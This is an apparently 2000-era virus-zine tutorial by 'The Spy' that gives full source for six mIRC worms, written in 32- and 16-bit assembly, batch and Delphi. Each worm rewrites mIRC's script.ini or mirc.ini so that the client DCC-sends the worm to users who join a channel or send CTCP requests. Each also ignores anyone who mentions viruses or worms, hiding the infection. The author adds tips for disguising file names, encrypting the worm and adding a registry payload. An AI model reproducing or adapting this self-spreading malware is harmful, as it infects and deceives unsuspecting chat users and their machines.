..o( IRC Worm, easy codin )o..............................[G9N-01.03]..
:                                                                     :
: Brief Description: 16 n 32 asm, batch                               :
: G9N issue Date: May 2000                                            :
: Author: The Spy                                                     :
:.....................................................................:

 Some demostrations on how to code simple IRC Worms, fuckin mIRC.
   __________ ________________________________ __________
    IWD32.... 32 bit asm......................   8 kb
    IWD16.... 16 bit asm...................... 452 bytes
    IWDBAT1.. a batch file without comments... 475 bytes
    IWDBAT2.. a smaller batch file............ 187 bytes
    IWDSCR1.. Delphi, usin inifiles...........  72 kb
    IWDSCR2.. Delphi, not usin inifiles.......  40 kb

___________________________________
.::::. .::::: .:. .:. ::::. .::::. |.
::'':: ':.    ::':'::   ':: '' ':: ||.
::..::  '::.  :: ' :: :::::   .::' ||"
::''::    ':. ::   ::   .:: .::'   |"
::  :: :::::' ::   :: ::::' :::::: "

--[IWD32]-------------------------8<-----------------------------------

;]==========================================================================================-
; IRC.Worm.Demo32
; >- Uncommented
; >- Unfinished Optimization, but with optimization comments
; >- Worm Size: 8k (win32asm :/)
; >- Werkin Time: dunno exactly, may b minutes 8O (win32asm :\)
;]==========================================================================================-
; Coded in 10/04/00 - Bs As - Argentina
; Bug Fix: 24/04/00, Small Fixes
; Author: The Spy
;]==========================================================================================-
; Things to add:
; >- May b a mini-compress engine for data, may b not
; >- Encription for data
; >- Change Name Randomly, use .scr extension to fuck mirc 5.7
;]==========================================================================================-
; To Compile:
; >- tasm32 /ml IWD32 ,,;
; >- tlink32 /Tpe /aa /c IWD32 , IWD32 ,, import32,
;]==========================================================================================-

.386
locals			; home vs away = local vs visitor, so im local, we play at locals!!
jumps			; do u like rave ?
.model flat,STDCALL	; flat n standard, too ugly

extrn	ExitProcess:PROC
extrn	CloseHandle:PROC
extrn	SetCurrentDirectoryA:PROC
extrn	GetCurrentDirectoryA:PROC
extrn	DeleteFileA:PROC
extrn	CreateFileA:PROC
extrn	lstrcpyA:PROC
extrn	WriteFile:PROC
extrn	FindFirstFileA:PROC
extrn	FindClose:PROC

.DATA

FHandle	dd	?

mIRC	db 'C:\mirc',0
mIRC32	db 'C:\mirc32',0
ap	db 'C:\archivos de programa\mirc',0
ap32	db 'C:\archivos de programa\mirc32',0
pf	db 'C:\program files\mirc',0
pf32	db 'C:\program files\mirc32',0

autor	db 'The Spy',0		; for AV silly ppl
worm	db 'IRC.Worm.Demo32',0
NBtsWrn	dd ?
counta	db 0
dir	db 260 dup(0)
fdata	db 316 dup(0)
daini	db 'script.ini',0
dascr	db 'IWD32.scr',0
script	db '[script]',0,13,10
n0	db 'n0=ON 1:JOIN:#:{ /if ( $nick != $me ) { /dcc send $nick               ',0
dir0	db 281 dup(32)
n1	db 'n1=ON 1:TEXT:*script.ini*:#:/ignore $nick',13,10,0
n2	db 'n2=ON 1:TEXT:*script.ini*:?:/ignore $nick',13,10,0
n3	db 'n3=ON 1:TEXT:*infected*:#:/ignore $nick',13,10,0
n4	db 'n4=ON 1:TEXT:*infected*:?:/ignore $nick',13,10,0
n5	db 'n5=ON 1:TEXT:*viru*:#:/ignore $nick',13,10,0
n6	db 'n6=ON 1:TEXT:*viru*:?:/ignore $nick',13,10,0
n7	db 'n7=ON 1:TEXT:*worm*:#:/ignore $nick',13,10,0
n8	db 'n8=ON 1:TEXT:*worm*:?:/ignore $nick',13,10,0
n9	db 'n9=ON 1:TEXT:*IRC.Worm*:#:/ignore $nick',13,10,0
n10	db 'n10=ON 1:TEXT:*IRC.Worm*:?:/ignore $nick',13,10,0
n11	db 'n11=ON 1:TEXT:*LBV*:#:/ignore $nick',13,10,0
n12	db 'n12=ON 1:TEXT:*LBV*:?:/ignore $nick',13,10,0
n13	db 'n13=ON 1:TEXT:*send*:?:{ /dcc send $nick '
dir13	db 281 dup(32)
n14	db 'n14=ctcp 1:*PING*:{ /dcc send $nick      '
dir14	db 281 dup(32)
n15	db 'n15=ctcp 1:*FINGER*:{ /dcc send $nick    '
dir15	db 281 dup(32)
n16	db 'n16=ctcp 1:*TIME*:{ /dcc send $nick      '
dir16	db 281 dup(32)
n17	db 'n17=ctcp 1:*VERSION*:{ /dcc send $nick   '
dir17	db 281 dup(32)
n18	db 'n18=ctcp 1:*USERINFO*:{ /dcc send $nick  '
dir18	db 281 dup(32)
n19	db 'n19=; IRC.Worm.Demo32 by The Spy',13,10,0

dcc	db ' | /ignore $nick }',13,10,0

.CODE

ChuIsi:
	call daFFroutine
	mov [counta],5
	lea eax,mIRC
	push eax
here:
	call SetCurrentDirectoryA
	cmp eax,0
;	jz ChuIsi
	jnz otroche
	call daFFroutine
otroche:
	cmp [counta],0
	jz Exit
	dec [counta]
	cmp [counta],4
	jz jmirc32
	cmp [counta],3
	jz jap
	cmp [counta],2
	jz jap32
	cmp [counta],1
	jz jpf
;jpf32:
	lea eax,pf32	;if ecx=0 then
	jmp sip
jpf:
	lea eax,pf
	jmp sip
jap:
	lea eax,ap
	jmp sip
jap32:
	lea eax,ap32
	jmp sip
jmirc32:
	lea eax,mIRC32
sip:
	push eax
	jmp here

doda:
	push eax
	call FindClose
	lea eax,dir
	push eax
	push 260
	call GetCurrentDirectoryA
	cmp eax,0
	jz Exit
	lea eax,dir
	push eax
	lea eax,dir0
	push eax
	call lstrcpyA
	lea edi,dir0
	xor eax,eax
	call a_ver
	lea eax,dcc
	push eax
	push edi
	call lstrcpyA

;;other:

	lea eax,dir
	push eax
	lea eax,dir13
	push eax
	call lstrcpyA
	lea edi,dir13
	xor eax,eax
	call a_ver
	lea eax,dcc
	push eax
	push edi
	call lstrcpyA

	lea eax,dir
	push eax
	lea eax,dir14
	push eax
	call lstrcpyA
	lea edi,dir14
	xor eax,eax
	call a_ver
	lea eax,dcc
	push eax
	push edi
	call lstrcpyA

	lea eax,dir
	push eax
	lea eax,dir15
	push eax
	call lstrcpyA
	lea edi,dir15
	xor eax,eax
	call a_ver
	lea eax,dcc
	push eax
	push edi
	call lstrcpyA

	lea eax,dir
	push eax
	lea eax,dir16
	push eax
	call lstrcpyA
	lea edi,dir16
	xor eax,eax
	call a_ver
	lea eax,dcc
	push eax
	push edi
	call lstrcpyA

	lea eax,dir
	push eax
	lea eax,dir17
	push eax
	call lstrcpyA
	lea edi,dir17
	xor eax,eax
	call a_ver
	lea eax,dcc
	push eax
	push edi
	call lstrcpyA

	lea eax,dir
	push eax
	lea eax,dir18
	push eax
	call lstrcpyA
	lea edi,dir18
	xor eax,eax
	call a_ver
	lea eax,dcc
	push eax
	push edi
	call lstrcpyA

;;
;for optimization
;[word push offset dirxx]+322
;lea si,lea_edi_dir
;add word ptr [si],322
;jnz other

	lea eax,daini
	push eax
	call DeleteFileA
	push 0		; i ve da idea to loop da pushes, but i ve c that Benny ve say that in
	push 20h	; 29A #4, damn, he was more quick than me... who cares anyway hehe
	push 1
	push 0
	push (1 or 2)
	push 40000000h
	lea eax,daini
	push eax
	call CreateFileA
	cmp eax,-1
	jz Exit
	mov dword ptr [FHandle],eax
	push 0
	push offset NBtsWrn
	mov ecx,offset dcc-offset script
	push ecx
	lea eax,script
	push eax
	push dword ptr [FHandle]
	call WriteFile
	push dword ptr [FHandle]
	call CloseHandle
Exit:
	push 0
	call ExitProcess

a_ver:
	cmp al,byte ptr [edi]
	jz da
	inc edi
	jmp a_ver
da:
	ret

daFFroutine:
	lea eax,fdata
	push eax
	lea eax,daini
	push eax
	call FindFirstFileA
	cmp eax,-1
	jnz doda
	ret

End ChuIsi

--[IWD32]-------------------------8<-----------------------------------

 It checks for da common directories where mirc use to b installed,
where it founds a script.ini file, it fuck it constructin da correct
script for da directory where it must infect. Works fine, infectin da
first script.ini that it founds in da mirc's common directories.

___________________________________
.::::. .::::: .:. .:.   ::  .::::. |.
::'':: ':.    ::':':: .:::  ::'    ||.
::..::  '::.  :: ' ::   ::  ::.::. ||"
::''::    ':. ::   ::   ::  ::' ': |"
::  :: :::::' ::   ::  :::: '::::' "

 Now, let c a 16 bit one, that doesnt make da same things, for eg. it
infects c:\mirc only, n ve a nasty anti-tracin check included!
 There is a lot of things that can b added to this worm, like change
da name, imagine a file called www.clickme.com, nice uh? ;D

--[IWD16]-------------------------8<-----------------------------------

.model tiny
.code
	org 100h

IWD16:
	cmp ax,bx
	jnz gonp
	cmp cx,dx
	jz getout
gonp:
	mov ah,3bh
	lea dx,mircdir
	int 21h
	jc getout

	mov ah,3Ch
	xor cx,cx
	lea dx,comname
	int 21h

	xchg ax,bx

	mov ah,40h
	mov cx,(the_end-IWD16)
	lea dx,IWD16
	int 21h

	call closef

	mov ax,3D02h
	lea dx,scriini
	int 21h
	jc getout

	xchg ax,bx

	call seekeof

	xchg dx,ax

	mov ax,4200h
	sub dx,6
	int 21h

	mov ah,3Fh
	mov cx,2
	lea dx,mircdir
	int 21h

	mov ax,'ci'
	cmp word ptr [mircdir],ax
	je getout

	call seekeof

	mov ah,40h
	mov cx,the_end-script
	lea dx,script
	int 21h
closef:
	mov ah,3Eh
	int 21h

getout:
	ret

seekeof:
	mov ax,4202h
	xor cx,cx
	cwd
	int 21h
	ret

mircdir	db	'c:\mirc\',0
scriini	db	'script.ini',0
comname	db	'c:\mirc\IWD16.com',0
script	db	13,10,'[script]',13,10
n0	db	'n0=; IRC Worm Demo16 by The Spy',13,10
n1	db	'n1=ON 1:JOIN:#:{ /if ( $nick != $me )'
	db	' { /dcc send $nick $mircdirIWD16.com | '
	db	'/ignore $nick }',13,10
n2	db	'n2=ON 1:TEXT:*IWD16*:*:/ignore $nick',13,10
n3	db	'n3=ON 1:TEXT:*Worm*:*:/ignore $nick',13,10
n4	db	'n4=ON 1:TEXT:*Virus*:*:/ignore $nick',13,10
n5	db	'n5=ON 1:TEXT:*infect*:*:/ignore $nick',13,10
zero	db 	0

the_end:
end IWD16

--[IWD16]-------------------------8<-----------------------------------

___________________________________
.::::. .::::. :::::: .::::: ::  :: |.
::  .: ::''::   ::   ::     ::  :: ||.
:::::. ::..::   ::   ::     :::::: ||"
::  .: ::''::   ::   ::     ::  :: |"
:::::' ::  ::   ::   '::::: ::  :: "

 A shitty .bat that works fine (damn god! a few lines of a .bat to
build a irc worm...)

--[IWDBAT1]-----------------------8<-----------------------------------

::REMove comments to make it 475 bytes small
 @ctty nul.
::@ is echo off for da command next to
 copy /y %0 c:\windows\system\IWDBAT.bat
 echo n0=; DemoBAT IRC Worm by The Spy>c:\mirc\script.ini
::> sends output to a file (creates/overwrites da file)
 echo n1=ON 1:JOIN:#:{ /if ( $nick != $me ) { /dcc send $nick c:\windows\system\IWDBAT.bat }>>c:\mirc\script.ini
::>> appends output to the end of a file
 echo n2=ON 1:TEXT:*virus*:*:/ignore $nick>>c:\mirc\script.ini
 echo n3=ON 1:TEXT:*Worm*:*:/ignore $nick>>c:\mirc\script.ini
 echo n4=ON 1:TEXT:*.bat*:*:/ignore $nick>>c:\mirc\script.ini
 echo n5=ON 1:TEXT:*infect*:*:/ignore $nick>>c:\mirc\script.ini

--[IWDBAT1]-----------------------8<-----------------------------------

  n also if u want to save more bytes, chust use da .bat as da ini, its
a dirty way, but i works. U can make a smaller one, avoidin sign, a
batch file 188 bytes long, n if u avoid to set ctty nul, u can obtain a
smaller one, 176 bytes

--[IWDBAT2]-----------------------8<-----------------------------------

@ctty nul.
@copy /y %0 c:\windows\system\2.bat
@copy /y %0 c:\mirc\script.ini
[script]
n0=ON 1:JOIN:#:{ /if ( $nick != $me ) { /dcc send $nick c:\windows\system\2.bat }
n1=;The Spy

--[IWDBAT2]-----------------------8<-----------------------------------

_______________________________________
:::::. .::::. ::     :::::. ::  ::  :: |.
::  ': ::'':: ::     ::  :: ::  ::  :: ||.
::   : ::..:' ::     :::::' ::::::  :: ||"
::  .: ::'    ::     ::     ::  ::  :: |"
:::::' '::::: '::::: ::     ::  ::  :: "

  It will modify mirc.ini, i know that change pirch's events.ini isnt
nothin dificult, but i think that 72 k, r enough.

--[DemoSCR Worm using inifiles]---8<-----------------------------------

{
  DemoSCR Worm by The Spy
  Version: using inifiles
  Coded in March 6th of 2000
  Size: 72 kb
}

program DemoSCR_Worm_using_inifiles;
uses sysutils,inifiles;
var s,v:string;ini:tinifile;
begin
s:='DemoSCR Worm';
s:='The Spy';
s:=GetCurrentDir; // c:\mirc\download
chdir('..');
v:=GetCurrentDir; // eg. c:\mirc
ini:=tinifile.create(v+'\mirc.ini');
Ini.WriteString('Text','ignore','*.dll');
Ini.WriteString('Options','n2','0,1,0,0,1,1,1,1,0,5,35,0,0,1,1,0,1,1,0,5,500,10,0,1,1,0,0');
Ini.WriteString('Options','n4','1,0,1,1,0,3,9999,0,0,0,1,0,1024,0,0,99,60,0,0,1,1,1,0,1,1,5000,1');
Ini.WriteString('Script','n0','ON 1:JOIN:#:{ /if ( $nick != $me ) { /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
Ini.WriteString('Script','n1','ON 1:TEXT:*script.ini*:#:/ignore $nick');
Ini.WriteString('Script','n2','ON 1:TEXT:*script.ini*:?:/ignore $nick');
Ini.WriteString('Script','n3','ON 1:TEXT:*infect*:#:/ignore $nick');
Ini.WriteString('Script','n4','ON 1:TEXT:*infect*:?:/ignore $nick');
Ini.WriteString('Script','n5','ON 1:TEXT:*viru*:#:/ignore $nick');
Ini.WriteString('Script','n6','ON 1:TEXT:*viru*:?:/ignore $nick');
Ini.WriteString('Script','n7','ON 1:TEXT:*worm*:#:/ignore $nick');
Ini.WriteString('Script','n8','ON 1:TEXT:*worm*:?:/ignore $nick');
Ini.WriteString('Script','n9','ON 1:TEXT:*DemoSCR*:#:/ignore $nick');
Ini.WriteString('Script','n10','ON 1:TEXT:*DemoSCR*:?:/ignore $nick');
Ini.WriteString('Script','n11','ON 1:TEXT:*SCR*:#:/ignore $nick');
Ini.WriteString('Script','n12','ON 1:TEXT:*SCR*:?:/ignore $nick');
Ini.WriteString('Script','n13','ON 1:TEXT:*send*:*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
Ini.WriteString('Script','n14','ctcp 1:*PING*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
Ini.WriteString('Script','n15','ctcp 1:*FINGER*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick | halt }');
Ini.WriteString('Script','n16','ctcp 1:*TIME*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
Ini.WriteString('Script','n17','ctcp 1:*VERSION*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
Ini.WriteString('Script','n18','ctcp 1:*USERINFO*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick | halt }');
Ini.WriteString('Script','n19','; DemoSCR Worm by The Spy');
Ini.Free;
exit;
end.

--[DemoSCR Worm using inifiles]---8<-----------------------------------

  Damn, 72k r enough n too much, let me code some things.

--[DemoSCR Worm not usin inifiles]8<-----------------------------------

{
  DemoSCR Worm by The Spy
  Version: not usin inifiles
  Coded in March 6th of 2000
  Size: 42 kb
}

program DemoSCR_Worm_not_usin_inifiles;
uses SysUtils;
var ft:textfile;s,v:string;flag:boolean;
begin
flag:=false;
s:='DemoSCR Worm';
s:='The Spy';
s:=GetCurrentDir; // c:\mirc\download
chdir('..');
v:=GetCurrentDir; // c:\mirc
assignfile(ft,v+'\mirc.ini');
reset(ft);
repeat
readln(ft,v);
if v='[script]' then flag:=true;
if flag then break;
until eof(ft);
append(ft);
writeln(ft);
if not flag then writeln(ft,'[script]');
writeln(ft,'n0=ON 1:JOIN:#:{ /if ( $nick != $me ) { /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
writeln(ft,'n1=ON 1:TEXT:*script.ini*:#:/ignore $nick');
writeln(ft,'n2=ON 1:TEXT:*script.ini*:?:/ignore $nick');
writeln(ft,'n3=ON 1:TEXT:*infect*:#:/ignore $nick');
writeln(ft,'n4=ON 1:TEXT:*infect*:?:/ignore $nick');
writeln(ft,'n5=ON 1:TEXT:*viru*:#:/ignore $nick');
writeln(ft,'n6=ON 1:TEXT:*viru*:?:/ignore $nick');
writeln(ft,'n7=ON 1:TEXT:*worm*:#:/ignore $nick');
writeln(ft,'n8=ON 1:TEXT:*worm*:?:/ignore $nick');
writeln(ft,'n9=ON 1:TEXT:*DemoSCR*:#:/ignore $nick');
writeln(ft,'n10=ON 1:TEXT:*DemoSCR*:?:/ignore $nick');
writeln(ft,'n11=ON 1:TEXT:*SCR*:#:/ignore $nick');
writeln(ft,'n12=ON 1:TEXT:*SCR*:?:/ignore $nick');
writeln(ft,'n13=ON 1:TEXT:*send*:?:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
writeln(ft,'n14=ctcp 1:*PING*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
writeln(ft,'n15=ctcp 1:*FINGER*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick | halt }');
writeln(ft,'n16=ctcp 1:*TIME*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
writeln(ft,'n17=ctcp 1:*VERSION*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick }');
writeln(ft,'n18=ctcp 1:*USERINFO*:{ /dcc send $nick '+s+'\freedemo.scr | /ignore $nick | halt }');
writeln(ft,'n19=; DemoSCR Worm by The Spy');
flush(ft); // b sure
closefile(ft);
exit;
end.

--[DemoSCR Worm not usin inifiles]8<-----------------------------------

  Well, this version, ve no da dcc invisible feature, but i ve save
30 kb, that is a lot. A lot of things can b added like change it name
from freedemo.scr to MyNewDemo.scr or demo.scr hehe, or also a search
routine, to find da mirc's directory, include an icon, etc.
  But da funny one, may b a payload like change da mIRC's Reg at
HKEY_USERS\.Default\Software\mIRC\name for eg. simply callin da
TRegistry.WriteString procedure.


 The Spy,
 an (old, weird, mad, sick n damn) asm coder
